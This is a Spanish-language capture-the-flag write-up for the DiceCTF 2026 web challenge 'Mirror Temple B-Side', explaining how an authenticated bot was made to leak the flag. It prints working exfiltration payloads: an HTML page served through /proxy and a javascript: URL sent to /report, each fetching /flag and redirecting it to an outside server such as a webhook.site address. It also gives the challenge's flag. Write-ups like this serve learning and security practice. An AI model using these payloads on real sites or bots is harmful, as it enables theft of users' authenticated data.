Usa el árbol para saltar entre colecciones sin salir del lector.

archivo Seleccionar un writeup Abrir árbol
DiceCTF2026Quals/Mirror-Temple-B-Side.md READ_ONLY

Mirror Temple B-Side

Datos del reto

Campo Valor
CTF DiceCTF 2026 Quals
Reto Mirror Temple B-Side
Categoría Web
Flag dice{neves_xis_cixot_eb_ot_tey_hguone_gnol_galf_siht_si_syawyna_ijome_lluks_eseehc_eht_rof_llef_dna_part_eht_togrof_i_derit_os_saw_i_galf_siht_gnitirw_fo_sa_sruoh_42_rof_ekawa_neeb_evah_i_tcaf_nuf}

Descripción del reto

La base del reto era prácticamente la misma que en Mirror Temple. Había un bot autenticado, un /report que aceptaba URLs y una aplicación con /flag accesible dentro de la sesión del bot.

La diferencia es que aquí el camino de explotación no terminó siendo el mismo que en el reto original.


Reconocimiento

Lo primero fue probar en local la idea más directa: servir un HTML nuestro y hacerlo pasar por /proxy.

<!doctype html>
<html>
<body>
<script>
fetch("/flag")
  .then(response => response.text())
  .then(flag => {
    location = "http://localhost:9000/leak?flag=" + encodeURIComponent(flag);
  });
</script>
</body>
</html>

La URL de prueba era esta.

http://localhost:8080/proxy?url=http://localhost:9000/payload.html

En esa configuración, la página se comportaba como si formara parte del propio reto y el navegador acababa navegando a esta URL.

http://localhost:9000/leak?flag=dice%7Btestflag%7D

Con eso se confirmaba que había JavaScript ejecutándose dentro del origen autenticado del challenge.


Análisis

Lo que observé en local fue que /proxy devolvía HTML controlado por el atacante sin las restricciones que yo esperaba al ver el resto de cabeceras de la aplicación. En teoría había CSP y ciertos filtros, pero en la práctica yo podía ejecutar JavaScript arbitrario si conseguía que el bot cargara ese contenido dentro del origen del reto.

La cadena local quedaba así.

  1. /report hace que el bot abra una URL controlada por el atacante.
  2. /proxy trae HTML remoto y lo sirve desde el origen del challenge.
  3. El payload inline hace fetch("/flag").
  4. El resultado se exfiltra con una redirección a un servidor propio.

Hasta aquí era casi la misma idea que en el reto principal.

En remoto, abusar de /proxy con destinos externos devolvía 400. En cambio, las URLs con esquema javascript sí se ejecutaban correctamente cuando se enviaban a /report.

Eso cambiaba la idea inicial, porque ya no hacía falta pasar por /proxy. El bot ejecutaba el payload directamente dentro de su página autenticada en localhost puerto 8080.


Resolución

Para remoto se usó una URL con esquema javascript.

javascript:fetch("/flag").then(r=>r.text()).then(flag=>location="https://webhook.site/6cebedef-1325-41bf-ad56-a67edfb1b78a?flag="+encodeURIComponent(flag))

Funcionaba por estas razones.

  1. El bot ya estaba autenticado.
  2. El payload corría en el contexto de localhost puerto 8080.
  3. fetch("/flag") devolvía la flag real.
  4. location = ... la enviaba al webhook.

En remoto, el vector que funcionó no fue /proxy, sino la URL con esquema javascript.


Flag

dice{neves_xis_cixot_eb_ot_tey_hguone_gnol_galf_siht_si_syawyna_ijome_lluks_eseehc_eht_rof_llef_dna_part_eht_togrof_i_derit_os_saw_i_galf_siht_gnitirw_fo_sa_sruoh_42_rof_ekawa_neeb_evah_i_tcaf_nuf}